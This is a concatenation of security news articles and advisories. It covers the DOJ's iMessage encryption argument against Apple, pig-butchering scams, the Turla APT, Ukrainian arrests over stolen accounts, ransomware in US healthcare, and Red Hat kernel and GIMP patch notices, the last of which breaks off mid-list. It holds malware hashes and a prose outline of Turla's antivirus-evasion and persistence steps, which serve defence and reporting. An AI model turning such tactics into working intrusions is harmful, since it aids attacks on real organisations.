Privacy and security are an Apple selling point. But the DOJ’s new antitrust lawsuit argues that Apple selectively embraces privacy and security features in ways that hurt competition—and users.

For well over a decade, Apple has been praised by privacy advocates for its decision in 2011 to end-to-end encrypt iMessage, securing users' communications on the default texting app for all its devices so thoroughly that even Apple itself can't read their messages. This was years before WhatsApp switched on end-to-end encryption in 2016, and before Signal—now widely considered the most private end-to-end encrypted messaging platform—even existed, Apple quietly led the way with that security feature, baking it into a core piece of the Apple ecosystem.

So it's ironic that the US Department of Justice has now hit Apple with a landmark antitrust lawsuit, alleging that it has sought for years to monopolize the smartphone market and gravely harmed consumers in the process, iMessage's end-to-end encryption has become Exhibit A for an argument about Apple's privacy hypocrisy—that Apple's allegedly anticompetitive practices have denied users not only better prices, features, and innovation, but also better digital security.

In its sweeping antitrust lawsuit, the DOJ on Thursday laid out a broad set of allegations against Apple, accusing it of monopolistic practices in how it uses its walled-garden operating systems and app stores to deprive consumers of apps and services that might make it easier for them to wean themselves from their Apple addictions—keeping out of the App Store so-called super apps with cross-platform, broad functionality; limiting streaming and cloud-based applications; and handicapping the functionality of competitors' devices like smartwatches.

The DOJ's complaint also homes in on Apple's approach to security and privacy, arguing that it uses those principles as an excuse for its anticompetitive practices, yet jettisons them whenever they might hurt the bottom line. “In the end, Apple deploys privacy and security justifications as an elastic shield that can stretch or contract to serve Apple’s financial and business interests,” the complaint reads.

“I definitely think that Apple has strategically used privacy and security in ways that benefit its business,” says Caitlin Chin-Rothmann, a research fellow at the Center for Strategic & International Studies (CSIS) who focuses on technology policy. “Apple has taken some steps to improve end-to-end encryption in iMessage, for example, but it hasn’t extended that to iPhone users that text Android users or iPhone users that don’t use iMessage.”

In its privacy and security arguments, the DOJ faults Apple for decisions like its deal with Google to make Google's search engine the default on Apple products, rather than a more privacy-preserving alternative, or allowing data-harvesting apps into its App Store. But it repeatedly returns to iMessage as perhaps the clearest example of how Apple's anticompetitive practices directly harm users security. The DOJ argues that by refusing to allow users of other smartphone platforms like Android to use its end-to-end encryption iMessage protocol, it has significantly reduced the overall security of messaging worldwide, both for those Android users and for the Apple users who communicate with them.

“Text messages sent from iPhones to Android phones are unencrypted as a result of Apple’s conduct,” the complaint reads. “If Apple wanted to, Apple could allow iPhone users to send encrypted messages to Android users while still using iMessage on their iPhone, which would instantly improve the privacy and security of iPhone and other smartphone users.”

The argument is one that some Apple critics have made for years, as spelled out in an essay in January by Cory Doctorow, the science fiction writer, tech critic, and coauthor of _Chokepoint Capitalism_. “The instant an Android user is added to a chat or group chat, the entire conversation flips to SMS, an insecure, trivially hacked privacy nightmare that debuted 38 years ago—the year _Wayne's World_ had its first cinematic run,” Doctorow writes. “Apple's answer to this is grimly hilarious. The company's position is that if you want to have real security in your communications, you should buy your friends iPhones.”

In a statement to WIRED, Apple says it designs its products to “work seamlessly together, protect people’s privacy and security, and create a magical experience for our users,” and it adds that the DOJ lawsuit “threatens who we are and the principles that set Apple products apart” in the marketplace. The company also says it hasn't released an Android version of iMessage because it couldn't ensure that third parties would implement it in ways that met the company's standards.

“If successful, \[the lawsuit\] would hinder our ability to create the kind of technology people expect from Apple—where hardware, software, and services intersect,” the statement continues. “It would also set a dangerous precedent, empowering government to take a heavy hand in designing people’s technology. We believe this lawsuit is wrong on the facts and the law, and we will vigorously defend against it.”

Apple has, in fact, not only declined to build iMessage clients for Android or other non-Apple devices, but actively fought against those who have. Last year, a service called Beeper launched with the promise of bringing iMessage to Android users. Apple responded by tweaking its iMessage service to break Beeper's functionality, and the startup called it quits in December.

Apple argued in that case that Beeper had harmed users' security—in fact, it did compromise iMessage's end-to-end encryption by decrypting and then re-encrypting messages on a Beeper server, though Beeper had vowed to change that in future updates. Beeper cofounder Eric Migicovsky argued that Apple's heavyhanded move to reduce Apple-to-Android texts to traditional text messaging was hardly a more secure alternative.

“It’s kind of crazy that we’re now in 2024 and there still isn't an easy, encrypted, high-quality way for something as simple as a text between an iPhone and an Android,” Migicovsky told WIRED in January. “I think Apple reacted in a really awkward, weird way—arguing that Beeper Mini threatened the security and privacy of iMessage users, when in reality, the truth is the exact opposite.”

Even as Apple has faced accusations of hoarding iMessage's security properties to the detriment of smartphone owners worldwide, it's only continued to improve those features: In February it upgraded iMessage to use new cryptographic algorithms designed to be immune to quantum codebreaking, and last October it added Contact Key Verification, a feature designed to prevent man-in-the-middle attacks that spoof intended contacts to intercept messages. Perhaps more importantly, it's said it will adopt the RCS standard to allow for improvements in messaging with Android users—although the company did not say whether those improvements would include end-to-end encryption.

Even as it makes those advances in iMessage's security and privacy, Apple has rarely touted them in its public-facing marketing, points out Nadim Kobeissi, a cryptographer focused on secure messaging and the director of the cryptography consultancy Symbolic Software, and has actively contributed to public, nonproprietary security products. He argues that this deflates any argument the DOJ might make that Apple has intentionally hoarded security features as a competitive advantage.

Instead, Kobeissi says that the security gap is a byproduct of Apple's attempt to preserve the exclusivity of more visibly integrated and fun social features—reactions, FaceTime, coveted blue bubbles—while also conscientiously maintaining the product's security. “It’s not a security question, it's a societal question about the openness of communication platforms,” Kobeissi says. He points out that people who are aware of iMessage's security advantages are also aware of other end-to-end encrypted messaging options like WhatsApp and Signal.

Apple critics like Doctorow and Migicovsky both point out, however, that iMessage is deeply integrated in Apple devices as their default messaging app, and thus will always be used on those devices far more often than Signal or WhatsApp. “Defaults matter,” Doctorow says, pointing out that Google pays Apple a fortune for the right to make Google the default search engine on its devices. “Apple makes \[nearly\] $20 billion a year off the proposition that a click away is a click too far.”

Even if Apple's security features are good for its customers, “Apple’s size does matter” because it gives the company power over the broader market in ways that smaller technology companies cannot, regardless of whether they market their security and privacy features to beat out the competition, says CSIS's Chin-Rothmann. The question, ultimately, is whether people should be relying on technology giants like Apple to set the standards for privacy and security at all. She points out that comprehensive data privacy legislation that ensures minimum security requirements for software might well be a better approach than depending entirely on the private sector to decide who gets privacy—and who is denied it.

“If Congress or the US government really wants to increase privacy and security," Chin-Rothmann says, “we really should take these decisions out of the hands of massive technology companies like Apple.”

Apple's iMessage Encryption Puts Its Security Practices in the DOJ's Crosshairs

In the case of pig butchering scams, it’s not really anything that can be solved by a cybersecurity solution or sold in a package.

Thursday, March 21, 2024 14:00

Whether you want to call them “catfishing,” “pig butchering” or just good ‘old-fashioned “social engineering,” romance scams have been around forever.  

I was first introduced to them through the MTV show “Catfish,” but recently they seem to be making headlines as the term “pig butchering” enters the public lexicon. John Oliver recently covered it on “Last Week Tonight,” which means everyone my age with an HBO account heard about it a few weeks ago. And one of my favorite podcasts going, “Search Engine,” just covered it in an episode. 

The concept of “pig butchering” scams generally follows the same chain of events: 

*   An unknown phone number texts or messages a target with a generally harmless message, usually asking for a random name disguised as an “Oops, wrong number!” text. 
*   When the target responds, the actor tries to strike up a conversation with a friendly demeanor. 
*   If the conversation persists, they usually evolve into “love bombing,” including compliments, friendly advice, ego-boosting, and saying flattering things about any photos the target has sent. 
*   Sometimes, the relationship may turn romantic. 
*   The scammer eventually “butchers” the “pig” that has been “fattened up” to that point, scamming them into handing over money, usually in the form of a phony cryptocurrency app, or just straight up asking for the target to send the scammer money somehow. 

There are a few twists and turns along the way based on the exact scammer, but that’s generally how it works. What I think is important to remember is that this specific method of separating users from their money is not actually new.  

The FBI seems to release a renewed warning about romance scams every Valentine’s Day when people are more likely to fall for a stranger online wanting to make a real connection and then eventually asking for money. I even found a podcast from the FBI in 2015 in which they warned that scammers “promise love, romance, to entice their victims online,” estimating that romance-related scams cost consumers $82 million in the last half of 2014.  

The main difference that I can tell between “pig butchering” and past romance scams is the sheer scale. Many actors running these operations are relying on human trafficking and sometimes literal imprisonment, forcing these people against their will to send these mass blocks of messages to a variety of targets indiscriminately. Oftentimes in these groups, scammers who are less “successful” in luring victims can be verbally and physically harassed and punished. That is, of course, a horrible human toll that these operations are taking, but they also extend far beyond the world of cybersecurity. 

In the case of pig butchering scams, it’s not really anything that can be solved by a cybersecurity solution or sold in a package. Instead, it relies on user education and the involvement of law enforcement agencies and international governments to ensure these farms can’t operate in the shows. The founders who run them are brought to justice. 

It’s never a bad thing that users become more educated on these scams, because of that, but I also feel it’s important to remember that romance-related scams, and really any social engineering built on a personal “relationship,” has been around for years, and “pig butchering” is not something new that just started popping up. 

These types of scams are ones that our culture has kind of just accepted as part of daily life at this point (who doesn’t get surprised when they get a call about their “car’s extended warranty?), and now the infrastructure to support these scams is taking a larger human toll than ever. 

**The one big thing **

Talos has yet another round of research into the Turla APT, and now we’re able to see the entire kill chain this actor uses, including the tactics, techniques and procedures (TTPs) utilized to steal valuable information from their victims and propagate through their infected enterprises. Before deploying TinyTurla-NG, Turla will attempt to configure anti-virus software exclusions to evade detection of their backdoor. Once exclsions have been set up, TTNG is written to the disk, and persistence is established by creating a malicious service. 

**Why do I care? **

Turla, and this recently discovered TinyTurlaNG tool that Talos has been writing about, is an international threat that’s been around for years, so it’s always important for the entire security community to know what they’re up to. Most recently, Turla used these tactics to target Polish non-governmental organizations (NGOs) and steal sensitive data.  

**So now what? **

During Talos’ research into TinyTurla-NG, we’ve released several new rounds of detection content for Cisco Secure products. Read our past two blog posts on this actor for more.  

**Top security headlines of the week **

**The Biden administration issued a renewed warning to public water systems and operators this week,** saying state-sponsored actors could carry out cyber attacks soon, citing ongoing threats from Iran and China. The White House and U.S. Environmental Protection Agency sent a letter to every U.S. governor this week warning them that cyber attacks could disrupt access to clean drinking water and “impose significant costs on affected communities.” The letter also points to the U.S. Cyber and Infrastructure Security Agency’s list of known exploited vulnerabilities catalog, asking the managers of public water systems to ensure their systems are patched against these vulnerabilities. The EPA pointed to Volt Typhoon, a recently discovered Chinese APT that has reportedly been hiding on critical infrastructure networks for an extended period. A meeting among federal government leaders from the EPA and other related agencies is scheduled for March 21 to discuss threats to public water systems and how they can strengthen their cybersecurity posture. (Bloomberg, The Verge) 

**UnitedHealth says it's still recovering from a cyber attack that’s halted crucial payments to health care providers across the U.S.,** but has started releasing some of those funds this week, and expects its payment processing software to be back online soon. The cyber attack, first disclosed in February, targeted Change Healthcare, a subsidiary of United, that handles payment processing and pharmaceutical orders for hospital chains and doctors offices. UnitedHealth’s CEO said in a statement this week that the company has paid $2 billion to affected providers who spent nearly a month unable to obtain those funds or needing to switch to a paper billing system. A recently published survey from the American Hospital Association found that 94 percent of hospitals that responded experienced financial disruptions from the Change Healthcare attack, and costs at one point were hitting $1 million in revenue per day. (ABC News, CNBC) 

**Nevada’s state court system is currently weighing a case that could undo end-to-end encryption across the U.S.** The state’s Attorney General is currently suing Meta, the creators of Facebook, Instagram and WhatsApp, asking the company to remove end-to-end encryption for minors on the platform, with the promise of being able to catch and charge users who abuse the platform to lure minors. However, privacy advocates are concerned that any rulings against Meta and its encryption policies could have larger ripple effects, and embolden others to challenge encryption in other states. Nevada is arguing that Meta’s Messenger a “preferred method” for individuals targeting Nevada children for illicit activities. Privacy experts are in favor of end-to-end encryption because it safeguards messages during transmission and makes it more difficult for other parties to intercept and read them — including law enforcement agencies. (Tech Policy Press, Bloomberg Law) 

**Can’t get enough Talos? **

*   The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions 
*   Cisco Closes $28B Splunk Deal: 5 Big AI, Security And Partner Things To Know 
*   Talos Takes Ep. #176: Why no one should be relying on passive security in 2024 
*   Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word 
*   Netgear wireless router open to code execution after buffer overflow vulnerability 

**Upcoming events where you can find Talos **

**Botconf** **(April 23 - 26)** 

_Nice, Côte d'Azur, France_

> _This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants._

**CARO Workshop 2024** **(May 1 - 3)** 

_Arlington, Virginia_

> Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.

**RSA** **(May 6 - 9)** 

_San Francisco, California_    

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** 0e2263d4f239a5c39960ffa6b6b688faa7fc3075e130fe0d4599d5b95ef20647   
**MD5:** bbcf7a68f4164a9f5f5cb2d9f30d9790   
**Typical Filename:** bbcf7a68f4164a9f5f5cb2d9f30d9790.vir   
**Claimed Product:** N/A   
**Detection Name:** Win.Dropper.Scar::1201 

**SHA 256:** 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507    
**MD5:** 2915b3f8b703eb744fc54c81f4a9c67f    
**Typical Filename:** VID001.exe    
**Claimed Product:** N/A    
**Detection Name:** Win.Worm.Coinminer::1201 

**SHA 256:** a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91    
**MD5:** 7bdbd180c081fa63ca94f9c22c457376   
**Typical Filename:** c0dwjdi6a.dll |  
**Claimed Product:** N/A    
**Detection Name:** Trojan.GenericKD.33515991 

**SHA 256:** 7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5   
**MD5:** ff1b6bb151cf9f671c929a4cbdb64d86   
**Typical Filename:** endpoint.query   
**Claimed Product:** Endpoint-Collector   
**Detection Name:** W32.File.MalParent 

**SHA 256:** e38c53aedf49017c47725e4912fc7560e1c8ece2633c05057b22fd4a8ed28eb3   
**MD5:** c16df0bfc6fda86dbfa8948a566d32c1   
**Typical Filename:** CEPlus.docm   
**Claimed Product:** N/A    
**Detection Name:** Doc.Downloader.Pwshell::mash.sr.sbx.vioc

“Pig butchering” is an evolution of a social engineering tactic we’ve seen for years

By Waqas
Ukrainian police seized a massive trove of 100 million stolen email and Instagram accounts – Three individuals were…
This is a post from HackRead.com Read the original post: Ukraine Arrests Hackers for Selling 100 Million Email, Instagram Accounts

Ukrainian police seized a massive trove of 100 million stolen email and Instagram accounts – Three individuals were arrested for hacking and selling the data on the dark web – This major cybercrime bust highlights the importance of strong passwords and two-factor authentication (2FA) to protect your online accounts.

The Ukrainian Cyber Police, working alongside investigators from the national police, have pulled off a major win in the fight against cybercrime. They successfully arrested three individuals accused of hacking and selling a staggering 100 million email and Instagram accounts on the **dark web**.

Authorities believe the group used a brute-force attack technique, essentially bombarding accounts with numerous password combinations until they cracked the login credentials. These stolen accounts were then compiled into a database and offered for sale on **dark web marketplaces** and hacking forums, where malicious hackers could purchase them for fraudulent activities.

It is worth mentioning that currently, some of the most active and popular hacker and cybercrime forums include **Breach Forums** and a Russian language platform called **XSS**. Cybercriminals utilize these forums to sell stolen data through escrow deals, while others opt to leak it for free. Additionally, Telegram serves as a significant platform for criminals to announce data breaches and either leak or sell data.

According to Cyber Police’s **press release**, the buyers used the stolen accounts to launch various scams, including the notorious “Friend Asks for a Loan” scheme where compromised accounts are used to target the victim’s friends and family with fabricated requests for money.

Additionally, law enforcement officers conducted 7 searches at the residences and registered addresses of individuals involved in Kyiv, Odesa, Vinnytsia, and Ivano-Frankivsk, as well as in the regions of Kyiv, Donetsk, and Kirovohrad. During these searches, over 70 pieces of computer equipment, 14 phones, bank cards, and cash, totalling more than $3,000, were seized. A petition has been submitted to the court to request the seizure of the confiscated property.

Seized equipment (Image credit: Ukraine Cyber Police)

The ages of the arrested suspects range from 20 to 40. They now face charges of unauthorized interference in information systems and networks, a serious offence in Ukraine punishable by up to 15 years in prison.

The investigation isn’t over yet, however. Authorities suspect the group may have collaborated with foreign entities, particularly those with interests aligned with **Russia**. Investigators are looking into the possibility that some of the stolen accounts were used specifically to benefit Russian interests, though the exact nature of this potential collaboration remains unclear.

Commenting on this, **Jamie Akhtar**, CEO and Co-Founder at CyberSmart said: “Following the takedown of LockBit in February, this is another heartening story. It demonstrates that cybercriminals can be caught and brought to justice. However, we shouldn’t rest on our laurels, for each of these groups that is shut down another will spring up in its place and those still at large will learn from how their peers were caught.”

This arrest goes on to show the importance of taking cybersecurity measures. Using strong and unique passwords for all online accounts is crucial, and enabling multi-factor authentication (**MFA**) whenever possible adds an extra layer of security. The Ukrainian cyber police also recommend these practices to help protect yourself from falling victim to similar account hijacking schemes.

While the full extent of the data breach remains under investigation, it’s a significant development and a win for law enforcement. The stolen accounts could have been used for a wide range of malicious activities, and their seizure disrupts a major operation within the cybercriminal underworld.

1.  Two hackers arrested after a decade of selling malware
2.  10 years prison for hacking 200 firms, sold data on Dark Web
3.  Ukraine Busts Hackers Who Stole 30M Accounts of EU Citizens
4.  360m WhatsApp Records Shared Freely on Telegram, Dark Web
5.  DeepDotWeb admin pleads guilty to money laundering, kickbacks

Ukraine Arrests Hackers for Selling 100 Million Email, Instagram Accounts

Research conducted by Cisco Talos last year uncovered multiple vulnerabilities rated as low severity despite their ability to allow for full arbitrary code execution.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

Red Hat Security Advisory 2024-1367-03 - An update for kernel is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions. Issues addressed include null pointer, out of bounds write, and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1367.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: kernel security and bug fix update  
Advisory ID:        RHSA-2024:1367-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1367  
Issue date:         2024-03-19  
Revision:           03  
CVE Names:          CVE-2022-3545  
====================================================================

Summary: 

An update for kernel is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security Fix(es):

* kernel: vmwgfx: NULL pointer dereference in vmw_cmd_dx_define_query (CVE-2022-38096)

* kernel: null-ptr-deref vulnerabilities in sl_tx_timeout in drivers/net/slip (CVE-2022-41858)

* kernel: nfp: use-after-free in area_cache_get() (CVE-2022-3545)

* kernel: NULL pointer dereference in can_rcv_filter (CVE-2023-2166)

* kernel: Slab-out-of-bound read in compare_netdev_and_ip (CVE-2023-2176)

* kernel: out-of-bounds write in qfq_change_class function (CVE-2023-31436)

* kernel: vmxnet3: NULL pointer dereference in vmxnet3_rq_cleanup() (CVE-2023-4459)

* kernel: net/sched: sch_qfq component can be exploited if in qfq_change_agg function happens qfq_enqueue overhead (CVE-2023-3611)

* kernel: ktls overwrites readonly memory pages when using function splice with a ktls socket as destination (CVE-2024-0646)

* kernel: inactive elements in nft_pipapo_walk (CVE-2023-6817)

* kernel: refcount leak in ctnetlink_create_conntrack() (CVE-2023-7192)

Bug Fix(es):

* kernel: out-of-bounds write in qfq_change_class function (JIRA:RHEL-12696)

* kernel: vmxnet3: NULL pointer dereference in vmxnet3_rq_cleanup() (JIRA:RHEL-18194)

* kernel: refcount leak in ctnetlink_create_conntrack() (JIRA:RHEL-20296)

* kernel: inactive elements in nft_pipapo_walk (JIRA:RHEL-20695)

* kernel: ktls overwrites readonly memory pages when using function splice with a ktls socket as destination (JIRA:RHEL-22088)

* kernel: null-ptr-deref vulnerabilities in sl_tx_timeout in drivers/net/slip (JIRA:RHEL-18580)

* ipoib mcast lockup fix (JIRA:RHEL-19696)

* dm multipath device suspend deadlocks waiting on a flush request (JIRA:RHEL-19108)

* kernel: Slab-out-of-bound read in compare_netdev_and_ip (JIRA:RHEL-19325)

* kernel: A flaw leading to a use-after-free in area_cache_get() (JIRA:RHEL-19449)

* kernel: vmxgfx: NULL pointer dereference in vmw_cmd_dx_define_query (JIRA:RHEL-22763)

* RHEL 8.5: Backport upstream memory cgroup commits up to v5.12 (JIRA:RHEL-9162)

* kernel: NULL pointer dereference in can_rcv_filter (JIRA:RHEL-19459)

* ceph: several cap and snap fixes (JIRA:RHEL-20906)

* kernel NULL pointer at RIP: 0010:kyber_has_work+0x1c/0x60 (JIRA:RHEL-21782)

* rbd: don't move requests to the running list on errors [8.x] (JIRA:RHEL-24201)

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-3545

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2133452  
https://bugzilla.redhat.com/show_bug.cgi?id=2144379  
https://bugzilla.redhat.com/show_bug.cgi?id=2161310  
https://bugzilla.redhat.com/show_bug.cgi?id=2187813  
https://bugzilla.redhat.com/show_bug.cgi?id=2187931  
https://bugzilla.redhat.com/show_bug.cgi?id=2192671  
https://bugzilla.redhat.com/show_bug.cgi?id=2219268  
https://bugzilla.redhat.com/show_bug.cgi?id=2225191  
https://bugzilla.redhat.com/show_bug.cgi?id=2253908  
https://bugzilla.redhat.com/show_bug.cgi?id=2255139  
https://bugzilla.redhat.com/show_bug.cgi?id=2256279

Red Hat Security Advisory 2024-1367-03

Social media influencers are attractive targets for identity thefs. Not just for their bank accounts but also to influence their followers

Social media influencers are attractive targets for identity thieves. With large followings and a literal influence on their followers, it’s no wonder they are targeted by scammers and spreaders of fake news.

A subset of influencers are the so-called “finfluencers”: influencers that provide their followers with financial advice. Such a person influences the financial investment decisions of their followers by doling out advice or recommendations. This comes in the form of get-rich-quick schemes, cryptocurrency related advice, stock investment, financial planning, or just about anything people can do to make money.

On the platforms that matter these days, like YouTube, TikTok and Instagram, the number of followers of some of the well-known finfluencers far exceeds the numbers of followers of some of the biggest broking houses. In May of 2023, India banned a YouTube finfluencer with over a million followers from the securities markets for a year for allegedly providing advisory services—daily stock investment/trading calls—without registering with the regulator.

With enough followers that heed their advice, these finfluencers also can have an effect on the financial markets. With enough demand, prices go up and if you know that’s going to happen, making money is indeed easy.

And as an exit scam in which you make one big whopper and then disappear, that’s a very profitable strategy. But most influencers are in it for the long run and don’t want to ruin the reputation they built. Unless their account falls into the wrong hands.

In October of 2023, the Federal Trade Commission warned people with a lot of social media followers they might be the target of scammers. These scammers would come up with fake job offers of offering to pay them for product promotion as “brand ambassadors.” But in reality the scammers are after personal and financial information.

Typically, the scammers say they’ll send you free products and pay you large amounts of money to promote those products in your social media posts. All you have to do is to accept the offer and give them your personal and banking information so they can pay you.

What the scammers are really after can vary from cleaning out the influencers’ bank accounts to taking over their social media accounts. “If you provide us with your login credentials, you don’t have to do the work, we’ll post the promotional content ourselves.”

The scammers will then leave the influencer behind with an account that has a bad reputation and lost a good part of its followers.

Some good news might come from the regulation side. The governments of ten nations have called on social media operators to improve their ability to detect and prevent fraud on their platforms. Australia, Canada, France, Germany, Italy, Japan, New Zealand, the Republic of Korea, Singapore, the United Kingdom, and the United States did this because:

> “Fraudsters operate at scale, exploiting telecommunications networks, cyberspace and a population that spends an increasing amount of time online.”

In a communiqué issued as a result of the Global Fraud Summit, which also included representatives from INTERPOL, the Financial Action Task Force, the UN Office on Drugs and Crime, and the European Union, the partakers listed 29 action points that should help reduce online fraud.

It will be hard to accomplish this goal but as we have seen, similar actions led to a promising decline in robocalls. Australia also reported progress towards their vision of making Australia the world’s hardest target for scammers with, for example, a 38% decrease in losses due to investment scams.

**What can influencers do to protect themselves**

*   Always assume that if it’s too good to be true, then it’s probably not true.
*   Never give out your personal or financial information without doing proper research first.
*   Contact the company directly to confirm the offer. Use a phone number or contact method you know to be legitimate.
*   Check if the person contacting you is using an email address that’s affiliated with the company they claim to represent.
*   Don’t let any person or app create posts on social media on your behalf.
*   Don’t let scammers rush you into decisions. They will always claim it’s urgent or you need to act fast.

**Check your digital footprint**

If you want to find out how much of your data has been exposed online, you can try our free Digital Footprint scan. Fill in the email address you’re curious about (it’s best to submit the one you most frequently use) and we’ll send you a free report.

**We don’t just report on threats – we help protect your social media**

Cybersecurity risks should never spread beyond a headline. Protect your social media accounts by using Cyrus, powered by Malwarebytes.

 Social media influencers targeted by identity thieves 

The US healthcare industry suffers more ransomware attacks than most countries.

Following the February 21 attack on Change Healthcare, scores of people in the US have been living with the brutal, real-world effects of ransomware.

Described by the American Hospital Association (AHA) President and CEO Rick Pollack as “the most significant and consequential incident of its kind against the US health care system in history,” the attack has stopped billions of dollars in payments flowing between doctors, hospitals, pharmacies and insurers. It has also created skyrocketing pharmacy bills, pushed some healthcare providers to the edge of insolvency, and led some small practices offering chemotherapy to warn that they are just weeks from turning patients away.

There are thousands of “big game” ransomware attacks like this every year—large scale cyberattacks that can bring entire organisations to a halt. They are always damaging and they always cause pain, but when they hit the healthcare system, the consequences—particularly the risk to life—are often more immediately obvious and shocking.

From time to time individual ransomware gangs will grandstand and say they don’t or won’t hit hospitals, but the truth is that healthcare has always been a major target.

Only three weeks ago, the Cybersecurity and Infrastructure Security Agency (CISA) issued a warning that ALPHV, the ransomware group behind the attack on Change Healthcare, was singling out targets in that sector, saying that “since mid-December 2023, of the nearly 70 leaked victims, the healthcare sector has been the most commonly victimized.”

ALPHV is just one gang among many targeting the sector. In the last 12 months, known ransomware attacks on US targets have increased an enormous 101% year-on-year, but attacks on healthcare have outpaced even that, increasing 137%.

70% of all known attacks on healthcare happen in the US.

This relentless assault has made healthcare the second most attacked sector in the US, where it accounts for 9% of known attacks. In the same period, healthcare accounted for just 3% of known attacks in the rest of the world.

The stark difference between the US and everywhere else may reflect the enormous size of the US healthcare market, or it could be the result of deliberate targeting.

Screenshot

Screenshot

Given its unmatched global footprint, it’s no suprise that LockBit was responsible for more attacks on US healthcare than any other ransomware group in the last year. LockBit is the most widely used ransomware in the world, and tops the list of most active groups across a wide variety of different countries and industry sectors. What is most striking about attacks on US healthcare though is the number of different gangs involved.

In the last year, 36 different ransomware groups are known to have attacked US healthcare targets, and, unusually, the combined contribution of gangs making just a few attacks each vastly outweighs the efforts of big gangs like LockBit and ALPHV.

It’s easy to see why so many ransomare gangs might be drawn to the sector: US healthcare companies are custodians of people’s most private data, guardians of their health, and part of a marketplace worth trillions of dollars. In other words, healthcare isn’t just another industry sector, either for the people who use it, or the people who prey on it. It is a special case, and there is an argument for saying that attacks on organisations like Change Healthcare should be treated like an attack on critical infrastructure.

The last attack on US critical infrastructure, against Colonial Pipeline in 2021, was met with an immediate and ferocious response. Within a month, the FBI had recovered the vast majority of the ransom. The gang behind it, DarkSide, lost control of its infrastructure to US law enforcement (and possibly US military) before going dark, and was quickly hounded out of existence by the FBI after it attempted to remerge and rebrand as BlackMatter.

Knowing that, perhaps it’s not a surprise that the attack on Change Healthcare was one of the ALPHV gang’s last acts before it disappeared in a sloppily exectuted exit scam.

**How to avoid ransomware**

*   **Block common forms of entry.** Create a plan for patching vulnerabilities in internet-facing systems quickly; and disable or harden remote access like RDP and VPNs.
*   **Prevent intrusions.** Stop threats early before they can even infiltrate or infect your endpoints. Use endpoint security software that can prevent exploits and malware used to deliver ransomware.
*   **Detect intrusions.** Make it harder for intruders to operate inside your organization by segmenting networks and assigning access rights prudently. Use EDR or MDR to detect unusual activity before an attack occurs.
*   **Stop malicious encryption.** Deploy Endpoint Detection and Response software like ThreatDown EDR that uses multiple different detection techniques to identify ransomware, and ransomware rollback to restore damaged system files.
*   **Create offsite, offline backups.** Keep backups offsite and offline, beyond the reach of attackers. Test them regularly to make sure you can restore essential business functions swiftly.
*   **Don’t get attacked twice.** Once you’ve isolated the outbreak and stopped the first attack, you must remove every trace of the attackers, their malware, their tools, and their methods of entry, to avoid being attacked again.

Our business solutions remove all remnants of ransomware and prevent you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

 Ransomware&#8217;s appetite for US healthcare sees known attacks double in a year 

Red Hat Security Advisory 2024-1327-03 - An update for the gimp:2.8 module is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.2 Telecommunications Update Service, and Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions. Issues addressed include a buffer overflow vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1327.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: gimp:2.8 security updateAdvisory ID:        RHSA-2024:1327-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1327Issue date:         2024-03-14Revision:           03CVE Names:          CVE-2023-44442====================================================================Summary: An update for the gimp:2.8 module is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.2 Telecommunications Update Service, and Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The GIMP (GNU Image Manipulation Program) is an image composition and editing program. GIMP provides a large image manipulation toolbox, including channel operations and layers, effects, sub-pixel imaging and anti-aliasing, and conversions, all with multi-level undo.Security Fix(es):* gimp: PSD buffer overflow RCE (CVE-2023-44442)* gimp: 